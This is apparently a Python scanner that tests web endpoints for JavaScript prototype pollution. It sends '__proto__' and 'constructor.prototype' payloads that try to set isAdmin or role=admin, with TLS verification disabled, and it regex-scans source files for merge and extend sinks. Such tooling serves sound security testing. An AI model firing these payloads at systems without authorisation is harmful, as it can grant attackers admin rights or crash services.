#!/usr/bin/env python3 """Agent for detecting prototype pollution vulnerabilities in JavaScript applications.""" import argparse import json import re from datetime import datetime, timezone try: import requests HAS_REQUESTS = True except ImportError: HAS_REQUESTS = False PROTOTYPE_PAYLOADS = [ {"__proto__": {"isAdmin": True}}, {"__proto__": {"role": "admin"}}, {"constructor": {"prototype": {"isAdmin": True}}}, {"__proto__": {"status": 200}}, {"__proto__": {"polluted": True}}, ] PROTOTYPE_PAYLOADS_QUERY = [ "__proto__[isAdmin]=true", "__proto__[role]=admin", "constructor[prototype][isAdmin]=true", "__proto__.isAdmin=true", ] def test_json_pollution(url, token=None): """Test for prototype pollution via JSON body.""" if not HAS_REQUESTS: return [] findings = [] headers = {"Authorization": f"Bearer {token}"} if token else {} headers["Content-Type"] = "application/json" for payload in PROTOTYPE_PAYLOADS: try: resp = requests.post(url, json=payload, headers=headers, timeout=10, verify=False) resp_text = resp.text.lower() indicators = [] if "isadmin" in resp_text and "true" in resp_text: indicators.append("isAdmin property reflected in response") if resp.status_code == 200: try: resp_json = resp.json() if resp_json.get("isAdmin") or resp_json.get("polluted"): indicators.append("Prototype property present in response object") except json.JSONDecodeError: pass if "500" in str(resp.status_code): indicators.append("Server error — potential prototype chain disruption") if indicators: findings.append({ "payload": str(payload), "status_code": resp.status_code, "indicators": indicators, "severity": "CRITICAL", }) except requests.RequestException: continue return findings def test_query_pollution(url, token=None): """Test for prototype pollution via query parameters.""" if not HAS_REQUESTS: return [] findings = [] headers = {"Authorization": f"Bearer {token}"} if token else {} for payload in PROTOTYPE_PAYLOADS_QUERY: try: test_url = f"{url}?{payload}" resp = requests.get(test_url, headers=headers, timeout=10, verify=False) if resp.status_code == 500: findings.append({ "payload": payload, "method": "GET", "status_code": 500, "indicators": ["Server error from prototype pollution"], "severity": "HIGH", }) except requests.RequestException: continue return findings def scan_source_code(file_path): """Scan JavaScript source for prototype pollution sinks.""" findings = [] vulnerable_patterns = [ (r'Object\.assign\s*\([^)]*,\s*\w+\)', "Object.assign with user input"), (r'_\.merge\s*\(', "lodash merge (deep merge)"), (r'_\.defaultsDeep\s*\(', "lodash defaultsDeep"), (r'jQuery\.extend\s*\(\s*true', "jQuery deep extend"), (r'\$\.extend\s*\(\s*true', "jQuery deep extend"), (r'JSON\.parse\s*\([^)]*\)', "JSON.parse (check input source)"), (r'\.prototype\[', "Direct prototype access"), (r'\[(["\'])__proto__\1\]', "__proto__ string access"), ] try: with open(file_path, "r", errors="replace") as f: content = f.read() for i, line in enumerate(content.splitlines(), 1): for pattern, desc in vulnerable_patterns: if re.search(pattern, line): findings.append({ "file": file_path, "line": i, "pattern": desc, "code": line.strip()[:100], }) except FileNotFoundError: pass return findings def main(): parser = argparse.ArgumentParser( description="Detect prototype pollution in JavaScript apps (authorized testing only)" ) parser.add_argument("--url", help="Target URL to test") parser.add_argument("--source", help="JavaScript source file to audit") parser.add_argument("--token", help="Bearer token") parser.add_argument("--output", "-o", help="Output JSON report") args = parser.parse_args() print("[*] Prototype Pollution Detection Agent") report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} if args.url: json_findings = test_json_pollution(args.url, args.token) query_findings = test_query_pollution(args.url, args.token) report["findings"].extend(json_findings) report["findings"].extend(query_findings) print(f"[*] HTTP findings: {len(json_findings) + len(query_findings)}") if args.source: src_findings = scan_source_code(args.source) report["findings"].extend(src_findings) print(f"[*] Source code findings: {len(src_findings)}") report["risk_level"] = "CRITICAL" if any( f.get("severity") == "CRITICAL" for f in report["findings"] ) else "HIGH" if report["findings"] else "LOW" if args.output: with open(args.output, "w") as f: json.dump(report, f, indent=2) print(f"[*] Report saved to {args.output}") else: print(json.dumps(report, indent=2)) if __name__ == "__main__": main()